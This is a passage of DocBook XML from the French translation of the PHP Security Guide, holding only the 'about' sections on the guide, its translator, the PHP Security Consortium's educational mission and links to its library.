<title>A propos de ce Guide</title>
<para>Le Guide de Sécurité PHP (PHP Security Guide) est un projet du
Consortium de Sécurité PHP (PHP Security Consortium).
Vous pouvez toujours trouver la dernière version du guide sur
<systemitem role="url">http://phpsec.org/projects/guide/</systemitem>.</para>
</sect1>

<sect1 id="ABOUT-THIS-TRANSLATION">
<title>A propos de cette traduction</title>
<para>
Cette traduction en français est maintenue par Christophe Chisogne.
Vous pouvez toujours trouver la dernière version française du guide sur
<systemitem role="url">http://phpsec.org/projects/guide/fr/</systemitem>.
</para>
</sect1>

<sect1 id="ABOUT-THE-PHP-SECURITY-CONSORTIUM">
<title>A propos du Consortium de Sécurité PHP (PHP Security
Consortium)</title>
<para>La mission du Consortium de Sécurité PHP (PHP Security Consortium,
PHPSC) est de promouvoir les méthodes de programmation sécurisée dans la
communauté PHP, à travers de l'éducation et des exposés, tout en
maintenant un haut niveau éthique.</para>
<para>Apprenez plus à propos du Consortium sur
<systemitem role="url">http://phpsec.org/</systemitem>.</para>
</sect1>

<sect1 id="MORE-INFORMATION">
<title>Plus d'information</title>
<para>Pour plus d'informations sur les méthodes de sécurité PHP, visitez
la bibliothèque du Consortium de Sécurité PHP (PHP Security Consortium
Library) sur
<systemitem role="url">http://phpsec.org/library/</systemitem>.</para>
</sect1>
</chapter>
</book>
